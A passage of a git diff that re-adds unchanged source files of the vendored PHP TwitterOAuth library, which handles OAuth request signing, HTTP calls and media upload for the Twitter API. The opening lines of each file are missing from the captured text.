many times we retry request when API is down */ + protected $maxRetries = 0; + /** @var int Delay in seconds before we retry the request */ + protected $retriesDelay = 1; + + /** + * Decode JSON Response as associative Array + * + * @see http://php.net/manual/en/function.json-decode.php + * + * @var bool + */ + protected $decodeJsonAsArray = false; + /** @var string User-Agent header */ + protected $userAgent = 'TwitterOAuth (+https://twitteroauth.com)'; + /** @var array Store proxy connection details */ + protected $proxy = []; + + /** @var bool Whether to encode the curl requests with gzip or not */ + protected $gzipEncoding = true; + + /** @var integer Size for Chunked Uploads */ + protected $chunkSize = 250000; // 0.25 MegaByte + + /** + * Set the connection and response timeouts. + * + * @param int $connectionTimeout + * @param int $timeout + */ + public function setTimeouts(int $connectionTimeout, int $timeout): void + { + $this->connectionTimeout = $connectionTimeout; + $this->timeout = $timeout; + } + + /** + * Set the number of times to retry on error and how long between each. + * + * @param int $maxRetries + * @param int $retriesDelay + */ + public function setRetries(int $maxRetries, int $retriesDelay): void + { + $this->maxRetries = $maxRetries; + $this->retriesDelay = $retriesDelay; + } + + /** + * @param bool $value + */ + public function setDecodeJsonAsArray(bool $value): void + { + $this->decodeJsonAsArray = $value; + } + + /** + * @param string $userAgent + */ + public function setUserAgent(string $userAgent): void + { + $this->userAgent = $userAgent; + } + + /** + * @param array $proxy + */ + public function setProxy(array $proxy): void + { + $this->proxy = $proxy; + } + + /** + * Whether to encode the curl requests with gzip or not. + * + * @param boolean $gzipEncoding + */ + public function setGzipEncoding(bool $gzipEncoding): void + { + $this->gzipEncoding = $gzipEncoding; + } + + /** + * Set the size of each part of file for chunked media upload. + * + * @param int $value + */ + public function setChunkSize(int $value): void + { + $this->chunkSize = $value; + } +} diff --git a/vendor/abraham/twitteroauth/src/Consumer.php b/vendor/abraham/twitteroauth/src/Consumer.php index b9acc3bd7e..3f3797a099 100644 --- a/vendor/abraham/twitteroauth/src/Consumer.php +++ b/vendor/abraham/twitteroauth/src/Consumer.php @@ -1,43 +1,43 @@ -key = $key; - $this->secret = $secret; - $this->callbackUrl = $callbackUrl; - } - - /** - * @return string - */ - public function __toString() - { - return "Consumer[key=$this->key,secret=$this->secret]"; - } -} +key = $key; + $this->secret = $secret; + $this->callbackUrl = $callbackUrl; + } + + /** + * @return string + */ + public function __toString() + { + return "Consumer[key=$this->key,secret=$this->secret]"; + } +} diff --git a/vendor/abraham/twitteroauth/src/HmacSha1.php b/vendor/abraham/twitteroauth/src/HmacSha1.php index 1f22917a09..922b2cf0f4 100644 --- a/vendor/abraham/twitteroauth/src/HmacSha1.php +++ b/vendor/abraham/twitteroauth/src/HmacSha1.php @@ -1,46 +1,46 @@ -getSignatureBaseString(); - - $parts = [$consumer->secret, null !== $token ? $token->secret : '']; - - $parts = Util::urlencodeRfc3986($parts); - $key = implode('&', $parts); - - return base64_encode(hash_hmac('sha1', $signatureBase, $key, true)); - } -} +getSignatureBaseString(); + + $parts = [$consumer->secret, null !== $token ? $token->secret : '']; + + $parts = Util::urlencodeRfc3986($parts); + $key = implode('&', $parts); + + return base64_encode(hash_hmac('sha1', $signatureBase, $key, true)); + } +} diff --git a/vendor/abraham/twitteroauth/src/Request.php b/vendor/abraham/twitteroauth/src/Request.php index da80184f1f..c3e1dc1707 100644 --- a/vendor/abraham/twitteroauth/src/Request.php +++ b/vendor/abraham/twitteroauth/src/Request.php @@ -1,289 +1,289 @@ -parameters = $parameters; - $this->httpMethod = $httpMethod; - $this->httpUrl = $httpUrl; - } - - /** - * pretty much a helper function to set up the request - * - * @param Consumer $consumer - * @param Token $token - * @param string $httpMethod - * @param string $httpUrl - * @param array $parameters - * - * @return Request - */ - public static function fromConsumerAndToken( - Consumer $consumer, - Token $token = null, - string $httpMethod, - string $httpUrl, - array $parameters = [], - $json = false - ) { - $defaults = [ - 'oauth_version' => Request::$version, - 'oauth_nonce' => Request::generateNonce(), - 'oauth_timestamp' => time(), - 'oauth_consumer_key' => $consumer->key, - ]; - if (null !== $token) { - $defaults['oauth_token'] = $token->key; - } - - // The json payload is not included in the signature on json requests, - // therefore it shouldn't be included in the parameters array. - if ($json) { - $parameters = $defaults; - } else { - $parameters = array_merge($defaults, $parameters); - } - - return new Request($httpMethod, $httpUrl, $parameters); - } - - /** - * @param string $name - * @param string $value - */ - public function setParameter(string $name, string $value) - { - $this->parameters[$name] = $value; - } - - /** - * @param string $name - * - * @return string|null - */ - public function getParameter(string $name): ?string - { - return isset($this->parameters[$name]) - ? $this->parameters[$name] - : null; - } - - /** - * @return array - */ - public function getParameters(): array - { - return $this->parameters; - } - - /** - * @param string $name - */ - public function removeParameter(string $name): void - { - unset($this->parameters[$name]); - } - - /** - * The request parameters, sorted and concatenated into a normalized string. - * - * @return string - */ - public function getSignableParameters(): string - { - // Grab all parameters - $params = $this->parameters; - - // Remove oauth_signature if present - // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") - if (isset($params['oauth_signature'])) { - unset($params['oauth_signature']); - } - - return Util::buildHttpQuery($params); - } - - /** - * Returns the base string of this request - * - * The base string defined as the method, the url - * and the parameters (normalized), each urlencoded - * and the concated with &. - * - * @return string - */ - public function getSignatureBaseString(): string - { - $parts = [ - $this->getNormalizedHttpMethod(), - $this->getNormalizedHttpUrl(), - $this->getSignableParameters(), - ]; - - $parts = Util::urlencodeRfc3986($parts); - - return implode('&', $parts); - } - - /** - * Returns the HTTP Method in uppercase - * - * @return string - */ - public function getNormalizedHttpMethod(): string - { - return strtoupper($this->httpMethod); - } - - /** - * parses the url and rebuilds it to be - * scheme://host/path - * - * @return string - */ - public function getNormalizedHttpUrl(): string - { - $parts = parse_url($this->httpUrl); - - $scheme = $parts['scheme']; - $host = strtolower($parts['host']); - $path = $parts['path']; - - return "$scheme://$host$path"; - } - - /** - * Builds a url usable for a GET request - * - * @return string - */ - public function toUrl(): string - { - $postData = $this->toPostdata(); - $out = $this->getNormalizedHttpUrl(); - if ($postData) { - $out .= '?' . $postData; - } - return $out; - } - - /** - * Builds the data one would send in a POST request - * - * @return string - */ - public function toPostdata(): string - { - return Util::buildHttpQuery($this->parameters); - } - - /** - * Builds the Authorization: header - * - * @return string - * @throws TwitterOAuthException - */ - public function toHeader(): string - { - $first = true; - $out = 'Authorization: OAuth'; - foreach ($this->parameters as $k => $v) { - if (substr($k, 0, 5) != 'oauth') { - continue; - } - if (is_array($v)) { - throw new TwitterOAuthException( - 'Arrays not supported in headers' - ); - } - $out .= $first ? ' ' : ', '; - $out .= - Util::urlencodeRfc3986($k) . - '="' . - Util::urlencodeRfc3986($v) . - '"'; - $first = false; - } - return $out; - } - - /** - * @return string - */ - public function __toString(): string - { - return $this->toUrl(); - } - - /** - * @param SignatureMethod $signatureMethod - * @param Consumer $consumer - * @param Token $token - */ - public function signRequest( - SignatureMethod $signatureMethod, - Consumer $consumer, - Token $token = null - ) { - $this->setParameter( - 'oauth_signature_method', - $signatureMethod->getName() - ); - $signature = $this->buildSignature($signatureMethod, $consumer, $token); - $this->setParameter('oauth_signature', $signature); - } - - /** - * @param SignatureMethod $signatureMethod - * @param Consumer $consumer - * @param Token $token - * - * @return string - */ - public function buildSignature( - SignatureMethod $signatureMethod, - Consumer $consumer, - Token $token = null - ): string { - return $signatureMethod->buildSignature($this, $consumer, $token); - } - - /** - * @return string - */ - public static function generateNonce(): string - { - return md5(microtime() . mt_rand()); - } -} +parameters = $parameters; + $this->httpMethod = $httpMethod; + $this->httpUrl = $httpUrl; + } + + /** + * pretty much a helper function to set up the request + * + * @param Consumer $consumer + * @param Token $token + * @param string $httpMethod + * @param string $httpUrl + * @param array $parameters + * + * @return Request + */ + public static function fromConsumerAndToken( + Consumer $consumer, + Token $token = null, + string $httpMethod, + string $httpUrl, + array $parameters = [], + $json = false + ) { + $defaults = [ + 'oauth_version' => Request::$version, + 'oauth_nonce' => Request::generateNonce(), + 'oauth_timestamp' => time(), + 'oauth_consumer_key' => $consumer->key, + ]; + if (null !== $token) { + $defaults['oauth_token'] = $token->key; + } + + // The json payload is not included in the signature on json requests, + // therefore it shouldn't be included in the parameters array. + if ($json) { + $parameters = $defaults; + } else { + $parameters = array_merge($defaults, $parameters); + } + + return new Request($httpMethod, $httpUrl, $parameters); + } + + /** + * @param string $name + * @param string $value + */ + public function setParameter(string $name, string $value) + { + $this->parameters[$name] = $value; + } + + /** + * @param string $name + * + * @return string|null + */ + public function getParameter(string $name): ?string + { + return isset($this->parameters[$name]) + ? $this->parameters[$name] + : null; + } + + /** + * @return array + */ + public function getParameters(): array + { + return $this->parameters; + } + + /** + * @param string $name + */ + public function removeParameter(string $name): void + { + unset($this->parameters[$name]); + } + + /** + * The request parameters, sorted and concatenated into a normalized string. + * + * @return string + */ + public function getSignableParameters(): string + { + // Grab all parameters + $params = $this->parameters; + + // Remove oauth_signature if present + // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") + if (isset($params['oauth_signature'])) { + unset($params['oauth_signature']); + } + + return Util::buildHttpQuery($params); + } + + /** + * Returns the base string of this request + * + * The base string defined as the method, the url + * and the parameters (normalized), each urlencoded + * and the concated with &. + * + * @return string + */ + public function getSignatureBaseString(): string + { + $parts = [ + $this->getNormalizedHttpMethod(), + $this->getNormalizedHttpUrl(), + $this->getSignableParameters(), + ]; + + $parts = Util::urlencodeRfc3986($parts); + + return implode('&', $parts); + } + + /** + * Returns the HTTP Method in uppercase + * + * @return string + */ + public function getNormalizedHttpMethod(): string + { + return strtoupper($this->httpMethod); + } + + /** + * parses the url and rebuilds it to be + * scheme://host/path + * + * @return string + */ + public function getNormalizedHttpUrl(): string + { + $parts = parse_url($this->httpUrl); + + $scheme = $parts['scheme']; + $host = strtolower($parts['host']); + $path = $parts['path']; + + return "$scheme://$host$path"; + } + + /** + * Builds a url usable for a GET request + * + * @return string + */ + public function toUrl(): string + { + $postData = $this->toPostdata(); + $out = $this->getNormalizedHttpUrl(); + if ($postData) { + $out .= '?' . $postData; + } + return $out; + } + + /** + * Builds the data one would send in a POST request + * + * @return string + */ + public function toPostdata(): string + { + return Util::buildHttpQuery($this->parameters); + } + + /** + * Builds the Authorization: header + * + * @return string + * @throws TwitterOAuthException + */ + public function toHeader(): string + { + $first = true; + $out = 'Authorization: OAuth'; + foreach ($this->parameters as $k => $v) { + if (substr($k, 0, 5) != 'oauth') { + continue; + } + if (is_array($v)) { + throw new TwitterOAuthException( + 'Arrays not supported in headers' + ); + } + $out .= $first ? ' ' : ', '; + $out .= + Util::urlencodeRfc3986($k) . + '="' . + Util::urlencodeRfc3986($v) . + '"'; + $first = false; + } + return $out; + } + + /** + * @return string + */ + public function __toString(): string + { + return $this->toUrl(); + } + + /** + * @param SignatureMethod $signatureMethod + * @param Consumer $consumer + * @param Token $token + */ + public function signRequest( + SignatureMethod $signatureMethod, + Consumer $consumer, + Token $token = null + ) { + $this->setParameter( + 'oauth_signature_method', + $signatureMethod->getName() + ); + $signature = $this->buildSignature($signatureMethod, $consumer, $token); + $this->setParameter('oauth_signature', $signature); + } + + /** + * @param SignatureMethod $signatureMethod + * @param Consumer $consumer + * @param Token $token + * + * @return string + */ + public function buildSignature( + SignatureMethod $signatureMethod, + Consumer $consumer, + Token $token = null + ): string { + return $signatureMethod->buildSignature($this, $consumer, $token); + } + + /** + * @return string + */ + public static function generateNonce(): string + { + return md5(microtime() . mt_rand()); + } +} diff --git a/vendor/abraham/twitteroauth/src/Response.php b/vendor/abraham/twitteroauth/src/Response.php index d84c3d62bb..1d5af5f0c8 100644 --- a/vendor/abraham/twitteroauth/src/Response.php +++ b/vendor/abraham/twitteroauth/src/Response.php @@ -1,109 +1,109 @@ - - */ -class Response -{ - /** @var string|null API path from the most recent request */ - private $apiPath; - /** @var int HTTP status code from the most recent request */ - private $httpCode = 0; - /** @var array HTTP headers from the most recent request */ - private $headers = []; - /** @var array|object Response body from the most recent request */ - private $body = []; - /** @var array HTTP headers from the most recent request that start with X */ - private $xHeaders = []; - - /** - * @param string $apiPath - */ - public function setApiPath(string $apiPath): void - { - $this->apiPath = $apiPath; - } - - /** - * @return string|null - */ - public function getApiPath(): ?string - { - return $this->apiPath; - } - - /** - * @param array|object $body - */ - public function setBody($body) - { - $this->body = $body; - } - - /** - * @return array|object|string - */ - public function getBody() - { - return $this->body; - } - - /** - * @param int $httpCode - */ - public function setHttpCode(int $httpCode): void - { - $this->httpCode = $httpCode; - } - - /** - * @return int - */ - public function getHttpCode(): int - { - return $this->httpCode; - } - - /** - * @param array $headers - */ - public function setHeaders(array $headers): void - { - foreach ($headers as $key => $value) { - if (substr($key, 0, 1) == 'x') { - $this->xHeaders[$key] = $value; - } - } - $this->headers = $headers; - } - - /** - * @return array - */ - public function getsHeaders(): array - { - return $this->headers; - } - - /** - * @param array $xHeaders - */ - public function setXHeaders(array $xHeaders = []): void - { - $this->xHeaders = $xHeaders; - } - - /** - * @return array - */ - public function getXHeaders(): array - { - return $this->xHeaders; - } -} + + */ +class Response +{ + /** @var string|null API path from the most recent request */ + private $apiPath; + /** @var int HTTP status code from the most recent request */ + private $httpCode = 0; + /** @var array HTTP headers from the most recent request */ + private $headers = []; + /** @var array|object Response body from the most recent request */ + private $body = []; + /** @var array HTTP headers from the most recent request that start with X */ + private $xHeaders = []; + + /** + * @param string $apiPath + */ + public function setApiPath(string $apiPath): void + { + $this->apiPath = $apiPath; + } + + /** + * @return string|null + */ + public function getApiPath(): ?string + { + return $this->apiPath; + } + + /** + * @param array|object $body + */ + public function setBody($body) + { + $this->body = $body; + } + + /** + * @return array|object|string + */ + public function getBody() + { + return $this->body; + } + + /** + * @param int $httpCode + */ + public function setHttpCode(int $httpCode): void + { + $this->httpCode = $httpCode; + } + + /** + * @return int + */ + public function getHttpCode(): int + { + return $this->httpCode; + } + + /** + * @param array $headers + */ + public function setHeaders(array $headers): void + { + foreach ($headers as $key => $value) { + if (substr($key, 0, 1) == 'x') { + $this->xHeaders[$key] = $value; + } + } + $this->headers = $headers; + } + + /** + * @return array + */ + public function getsHeaders(): array + { + return $this->headers; + } + + /** + * @param array $xHeaders + */ + public function setXHeaders(array $xHeaders = []): void + { + $this->xHeaders = $xHeaders; + } + + /** + * @return array + */ + public function getXHeaders(): array + { + return $this->xHeaders; + } +} diff --git a/vendor/abraham/twitteroauth/src/SignatureMethod.php b/vendor/abraham/twitteroauth/src/SignatureMethod.php index 02afc3035f..9d726e8b51 100644 --- a/vendor/abraham/twitteroauth/src/SignatureMethod.php +++ b/vendor/abraham/twitteroauth/src/SignatureMethod.php @@ -1,78 +1,78 @@ -buildSignature($request, $consumer, $token); - - // Check for zero length, although unlikely here - if (strlen($built) == 0 || strlen($signature) == 0) { - return false; - } - - if (strlen($built) != strlen($signature)) { - return false; - } - - // Avoid a timing leak with a (hopefully) time insensitive compare - $result = 0; - for ($i = 0; $i < strlen($signature); $i++) { - $result |= ord($built[$i]) ^ ord($signature[$i]); - } - - return $result == 0; - } -} +buildSignature($request, $consumer, $token); + + // Check for zero length, although unlikely here + if (strlen($built) == 0 || strlen($signature) == 0) { + return false; + } + + if (strlen($built) != strlen($signature)) { + return false; + } + + // Avoid a timing leak with a (hopefully) time insensitive compare + $result = 0; + for ($i = 0; $i < strlen($signature); $i++) { + $result |= ord($built[$i]) ^ ord($signature[$i]); + } + + return $result == 0; + } +} diff --git a/vendor/abraham/twitteroauth/src/Token.php b/vendor/abraham/twitteroauth/src/Token.php index c53803eac0..2e87aad77c 100644 --- a/vendor/abraham/twitteroauth/src/Token.php +++ b/vendor/abraham/twitteroauth/src/Token.php @@ -1,43 +1,43 @@ -key = $key; - $this->secret = $secret; - } - - /** - * Generates the basic string serialization of a token that a server - * would respond to request_token and access_token calls with - * - * @return string - */ - public function __toString(): string - { - return sprintf( - 'oauth_token=%s&oauth_token_secret=%s', - Util::urlencodeRfc3986($this->key), - Util::urlencodeRfc3986($this->secret) - ); - } -} +key = $key; + $this->secret = $secret; + } + + /** + * Generates the basic string serialization of a token that a server + * would respond to request_token and access_token calls with + * + * @return string + */ + public function __toString(): string + { + return sprintf( + 'oauth_token=%s&oauth_token_secret=%s', + Util::urlencodeRfc3986($this->key), + Util::urlencodeRfc3986($this->secret) + ); + } +} diff --git a/vendor/abraham/twitteroauth/src/TwitterOAuth.php b/vendor/abraham/twitteroauth/src/TwitterOAuth.php index 2af362ba8e..816b4f5134 100644 --- a/vendor/abraham/twitteroauth/src/TwitterOAuth.php +++ b/vendor/abraham/twitteroauth/src/TwitterOAuth.php @@ -1,727 +1,727 @@ - - */ -class TwitterOAuth extends Config -{ - private const API_VERSION = '1.1'; - private const API_HOST = 'https://api.twitter.com'; - private const UPLOAD_HOST = 'https://upload.twitter.com'; - - /** @var Response details about the result of the last request */ - private $response; - /** @var string|null Application bearer token */ - private $bearer; - /** @var Consumer Twitter application details */ - private $consumer; - /** @var Token|null User access token details */ - private $token; - /** @var HmacSha1 OAuth 1 signature type used by Twitter */ - private $signatureMethod; - /** @var int Number of attempts we made for the request */ - private $attempts = 0; - - /** - * Constructor - * - * @param string $consumerKey The Application Consumer Key - * @param string $consumerSecret The Application Consumer Secret - * @param string|null $oauthToken The Client Token (optional) - * @param string|null $oauthTokenSecret The Client Token Secret (optional) - */ - public function __construct( - string $consumerKey, - string $consumerSecret, - ?string $oauthToken = null, - ?string $oauthTokenSecret = null - ) { - $this->resetLastResponse(); - $this->signatureMethod = new HmacSha1(); - $this->consumer = new Consumer($consumerKey, $consumerSecret); - if (!empty($oauthToken) && !empty($oauthTokenSecret)) { - $this->setOauthToken($oauthToken, $oauthTokenSecret); - } - if (empty($oauthToken) && !empty($oauthTokenSecret)) { - $this->setBearer($oauthTokenSecret); - } - } - - /** - * @param string $oauthToken - * @param string $oauthTokenSecret - */ - public function setOauthToken( - string $oauthToken, - string $oauthTokenSecret - ): void { - $this->token = new Token($oauthToken, $oauthTokenSecret); - $this->bearer = null; - } - - /** - * @param string $oauthTokenSecret - */ - public function setBearer(string $oauthTokenSecret): void - { - $this->bearer = $oauthTokenSecret; - $this->token = null; - } - - /** - * @return string|null - */ - public function getLastApiPath(): ?string - { - return $this->response->getApiPath(); - } - - /** - * @return int - */ - public function getLastHttpCode(): int - { - return $this->response->getHttpCode(); - } - - /** - * @return array - */ - public function getLastXHeaders(): array - { - return $this->response->getXHeaders(); - } - - /** - * @return array|object|null - */ - public function getLastBody() - { - return $this->response->getBody(); - } - - /** - * Resets the last response cache. - */ - public function resetLastResponse(): void - { - $this->response = new Response(); - } - - /** - * Resets the attempts number. - */ - private function resetAttemptsNumber(): void - { - $this->attempts = 0; - } - - /** - * Delays the retries when they're activated. - */ - private function sleepIfNeeded(): void - { - if ($this->maxRetries && $this->attempts) { - sleep($this->retriesDelay); - } - } - - /** - * Make URLs for user browser navigation. - * - * @param string $path - * @param array $parameters - * - * @return string - */ - public function url(string $path, array $parameters): string - { - $this->resetLastResponse(); - $this->response->setApiPath($path); - $query = http_build_query($parameters); - return sprintf('%s/%s?%s', self::API_HOST, $path, $query); - } - - /** - * Make /oauth/* requests to the API. - * - * @param string $path - * @param array $parameters - * - * @return array - * @throws TwitterOAuthException - */ - public function oauth(string $path, array $parameters = []): array - { - $response = []; - $this->resetLastResponse(); - $this->response->setApiPath($path); - $url = sprintf('%s/%s', self::API_HOST, $path); - $result = $this->oAuthRequest($url, 'POST', $parameters); - - if ($this->getLastHttpCode() != 200) { - throw new TwitterOAuthException($result); - } - - parse_str($result, $response); - $this->response->setBody($response); - - return $response; - } - - /** - * Make /oauth2/* requests to the API. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - public function oauth2(string $path, array $parameters = []) - { - $method = 'POST'; - $this->resetLastResponse(); - $this->response->setApiPath($path); - $url = sprintf('%s/%s', self::API_HOST, $path); - $request = Request::fromConsumerAndToken( - $this->consumer, - $this->token, - $method, - $url, - $parameters - ); - $authorization = - 'Authorization: Basic ' . - $this->encodeAppAuthorization($this->consumer); - $result = $this->request( - $request->getNormalizedHttpUrl(), - $method, - $authorization, - $parameters - ); - $response = JsonDecoder::decode($result, $this->decodeJsonAsArray); - $this->response->setBody($response); - return $response; - } - - /** - * Make GET requests to the API. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - public function get(string $path, array $parameters = []) - { - return $this->http('GET', self::API_HOST, $path, $parameters, false); - } - - /** - * Make POST requests to the API. - * - * @param string $path - * @param array $parameters - * @param bool $json - * - * @return array|object - */ - public function post( - string $path, - array $parameters = [], - bool $json = false - ) { - return $this->http('POST', self::API_HOST, $path, $parameters, $json); - } - - /** - * Make DELETE requests to the API. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - public function delete(string $path, array $parameters = []) - { - return $this->http('DELETE', self::API_HOST, $path, $parameters, false); - } - - /** - * Make PUT requests to the API. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - public function put(string $path, array $parameters = []) - { - return $this->http('PUT', self::API_HOST, $path, $parameters, false); - } - - /** - * Upload media to upload.twitter.com. - * - * @param string $path - * @param array $parameters - * @param boolean $chunked - * - * @return array|object - */ - public function upload( - string $path, - array $parameters = [], - bool $chunked = false - ) { - if ($chunked) { - return $this->uploadMediaChunked($path, $parameters); - } else { - return $this->uploadMediaNotChunked($path, $parameters); - } - } - - /** - * Progression of media upload - * - * @param string $media_id - * - * @return array|object - */ - public function mediaStatus(string $media_id) - { - return $this->http( - 'GET', - self::UPLOAD_HOST, - 'media/upload', - [ - 'command' => 'STATUS', - 'media_id' => $media_id, - ], - false - ); - } - - /** - * Private method to upload media (not chunked) to upload.twitter.com. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - private function uploadMediaNotChunked(string $path, array $parameters) - { - if ( - !is_readable($parameters['media']) || - ($file = file_get_contents($parameters['media'])) === false - ) { - throw new \InvalidArgumentException( - 'You must supply a readable file' - ); - } - $parameters['media'] = base64_encode($file); - return $this->http( - 'POST', - self::UPLOAD_HOST, - $path, - $parameters, - false - ); - } - - /** - * Private method to upload media (chunked) to upload.twitter.com. - * - * @param string $path - * @param array $parameters - * - * @return array|object - */ - private function uploadMediaChunked(string $path, array $parameters) - { - $init = $this->http( - 'POST', - self::UPLOAD_HOST, - $path, - $this->mediaInitParameters($parameters), - false - ); - // Append - $segmentIndex = 0; - $media = fopen($parameters['media'], 'rb'); - while (!feof($media)) { - $this->http( - 'POST', - self::UPLOAD_HOST, - 'media/upload', - [ - 'command' => 'APPEND', - 'media_id' => $init->media_id_string, - 'segment_index' => $segmentIndex++, - 'media_data' => base64_encode( - fread($media, $this->chunkSize) - ), - ], - false - ); - } - fclose($media); - // Finalize - $finalize = $this->http( - 'POST', - self::UPLOAD_HOST, - 'media/upload', - [ - 'command' => 'FINALIZE', - 'media_id' => $init->media_id_string, - ], - false - ); - return $finalize; - } - - /** - * Private method to get params for upload media chunked init. - * Twitter docs: https://dev.twitter.com/rest/reference/post/media/upload-init.html - * - * @param array $parameters - * - * @return array - */ - private function mediaInitParameters(array $parameters): array - { - $allowed_keys = [ - 'media_type', - 'additional_owners', - 'media_category', - 'shared', - ]; - $base = [ - 'command' => 'INIT', - 'total_bytes' => filesize($parameters['media']), - ]; - $allowed_parameters = array_intersect_key( - $parameters, - array_flip($allowed_keys) - ); - return array_merge($base, $allowed_parameters); - } - - /** - * Cleanup any parameters that are known not to work. - * - * @param array $parameters - * - * @return array - */ - private function cleanUpParameters(array $parameters) - { - foreach ($parameters as $key => $value) { - // PHP coerces `true` to `"1"` which some Twitter APIs don't like. - if (is_bool($value)) { - $parameters[$key] = var_export($value, true); - } - } - return $parameters; - } - - /** - * @param string $method - * @param string $host - * @param string $path - * @param array $parameters - * @param bool $json - * - * @return array|object - */ - private function http( - string $method, - string $host, - string $path, - array $parameters, - bool $json - ) { - $this->resetLastResponse(); - $this->resetAttemptsNumber(); - $url = sprintf('%s/%s/%s.json', $host, self::API_VERSION, $path); - $this->response->setApiPath($path); - if (!$json) { - $parameters = $this->cleanUpParameters($parameters); - } - return $this->makeRequests($url, $method, $parameters, $json); - } - - /** - * - * Make requests and retry them (if enabled) in case of Twitter's problems. - * - * @param string $method - * @param string $url - * @param string $method - * @param array $parameters - * @param bool $json - * - * @return array|object - */ - private function makeRequests( - string $url, - string $method, - array $parameters, - bool $json - ) { - do { - $this->sleepIfNeeded(); - $result = $this->oAuthRequest($url, $method, $parameters, $json); - $response = JsonDecoder::decode($result, $this->decodeJsonAsArray); - $this->response->setBody($response); - $this->attempts++; - // Retry up to our $maxRetries number if we get errors greater than 500 (over capacity etc) - } while ($this->requestsAvailable()); - - return $response; - } - - /** - * Checks if we have to retry request if API is down. - * - * @return bool - */ - private function requestsAvailable(): bool - { - return $this->maxRetries && - $this->attempts <= $this->maxRetries && - $this->getLastHttpCode() >= 500; - } - - /** - * Format and sign an OAuth / API request - * - * @param string $url - * @param string $method - * @param array $parameters - * @param bool $json - * - * @return string - * @throws TwitterOAuthException - */ - private function oAuthRequest( - string $url, - string $method, - array $parameters, - bool $json = false - ) { - $request = Request::fromConsumerAndToken( - $this->consumer, - $this->token, - $method, - $url, - $parameters, - $json - ); - if (array_key_exists('oauth_callback', $parameters)) { - // Twitter doesn't like oauth_callback as a parameter. - unset($parameters['oauth_callback']); - } - if ($this->bearer === null) { - $request->signRequest( - $this->signatureMethod, - $this->consumer, - $this->token - ); - $authorization = $request->toHeader(); - if (array_key_exists('oauth_verifier', $parameters)) { - // Twitter doesn't always work with oauth in the body and in the header - // and it's already included in the $authorization header - unset($parameters['oauth_verifier']); - } - } else { - $authorization = 'Authorization: Bearer ' . $this->bearer; - } - return $this->request( - $request->getNormalizedHttpUrl(), - $method, - $authorization, - $parameters, - $json - ); - } - - /** - * Set Curl options. - * - * @return array - */ - private function curlOptions(): array - { - $bundlePath = CaBundle::getSystemCaRootBundlePath(); - $options = [ - // CURLOPT_VERBOSE => true, - CURLOPT_CONNECTTIMEOUT => $this->connectionTimeout, - CURLOPT_HEADER => true, - CURLOPT_RETURNTRANSFER => true, - CURLOPT_SSL_VERIFYHOST => 2, - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_TIMEOUT => $this->timeout, - CURLOPT_USERAGENT => $this->userAgent, - $this->curlCaOpt($bundlePath) => $bundlePath, - ]; - - if ($this->gzipEncoding) { - $options[CURLOPT_ENCODING] = 'gzip'; - } - - if (!empty($this->proxy)) { - $options[CURLOPT_PROXY] = $this->proxy['CURLOPT_PROXY']; - $options[CURLOPT_PROXYUSERPWD] = - $this->proxy['CURLOPT_PROXYUSERPWD']; - $options[CURLOPT_PROXYPORT] = $this->proxy['CURLOPT_PROXYPORT']; - $options[CURLOPT_PROXYAUTH] = CURLAUTH_BASIC; - $options[CURLOPT_PROXYTYPE] = CURLPROXY_HTTP; - } - - return $options; - } - - /** - * Make an HTTP request - * - * @param string $url - * @param string $method - * @param string $authorization - * @param array $postfields - * @param bool $json - * - * @return string - * @throws TwitterOAuthException - */ - private function request( - string $url, - string $method, - string $authorization, - array $postfields, - bool $json = false - ): string { - $options = $this->curlOptions(); - $options[CURLOPT_URL] = $url; - $options[CURLOPT_HTTPHEADER] = [ - 'Accept: application/json', - $authorization, - 'Expect:', - ]; - - switch ($method) { - case 'GET': - break; - case 'POST': - $options[CURLOPT_POST] = true; - if ($json) { - $options[CURLOPT_HTTPHEADER][] = - 'Content-type: application/json'; - $options[CURLOPT_POSTFIELDS] = json_encode($postfields); - } else { - $options[CURLOPT_POSTFIELDS] = Util::buildHttpQuery( - $postfields - ); - } - break; - case 'DELETE': - $options[CURLOPT_CUSTOMREQUEST] = 'DELETE'; - break; - case 'PUT': - $options[CURLOPT_CUSTOMREQUEST] = 'PUT'; - break; - } - - if ( - in_array($method, ['GET', 'PUT', 'DELETE']) && - !empty($postfields) - ) { - $options[CURLOPT_URL] .= '?' . Util::buildHttpQuery($postfields); - } - - $curlHandle = curl_init(); - curl_setopt_array($curlHandle, $options); - $response = curl_exec($curlHandle); - - // Throw exceptions on cURL errors. - if (curl_errno($curlHandle) > 0) { - $error = curl_error($curlHandle); - $errorNo = curl_errno($curlHandle); - curl_close($curlHandle); - throw new TwitterOAuthException($error, $errorNo); - } - - $this->response->setHttpCode( - curl_getinfo($curlHandle, CURLINFO_HTTP_CODE) - ); - $parts = explode("\r\n\r\n", $response); - $responseBody = array_pop($parts); - $responseHeader = array_pop($parts); - $this->response->setHeaders($this->parseHeaders($responseHeader)); - - curl_close($curlHandle); - - return $responseBody; - } - - /** - * Get the header info to store. - * - * @param string $header - * - * @return array - */ - private function parseHeaders(string $header): array - { - $headers = []; - foreach (explode("\r\n", $header) as $line) { - if (strpos($line, ':') !== false) { - list($key, $value) = explode(': ', $line); - $key = str_replace('-', '_', strtolower($key)); - $headers[$key] = trim($value); - } - } - return $headers; - } - - /** - * Encode application authorization header with base64. - * - * @param Consumer $consumer - * - * @return string - */ - private function encodeAppAuthorization(Consumer $consumer): string - { - $key = rawurlencode($consumer->key); - $secret = rawurlencode($consumer->secret); - return base64_encode($key . ':' . $secret); - } - - /** - * Get Curl CA option based on whether the given path is a directory or file. - * - * @param string $path - * @return int - */ - private function curlCaOpt(string $path): int - { - return is_dir($path) ? CURLOPT_CAPATH : CURLOPT_CAINFO; - } -} + + */ +class TwitterOAuth extends Config +{ + private const API_VERSION = '1.1'; + private const API_HOST = 'https://api.twitter.com'; + private const UPLOAD_HOST = 'https://upload.twitter.com'; + + /** @var Response details about the result of the last request */ + private $response; + /** @var string|null Application bearer token */ + private $bearer; + /** @var Consumer Twitter application details */ + private $consumer; + /** @var Token|null User access token details */ + private $token; + /** @var HmacSha1 OAuth 1 signature type used by Twitter */ + private $signatureMethod; + /** @var int Number of attempts we made for the request */ + private $attempts = 0; + + /** + * Constructor + * + * @param string $consumerKey The Application Consumer Key + * @param string $consumerSecret The Application Consumer Secret + * @param string|null 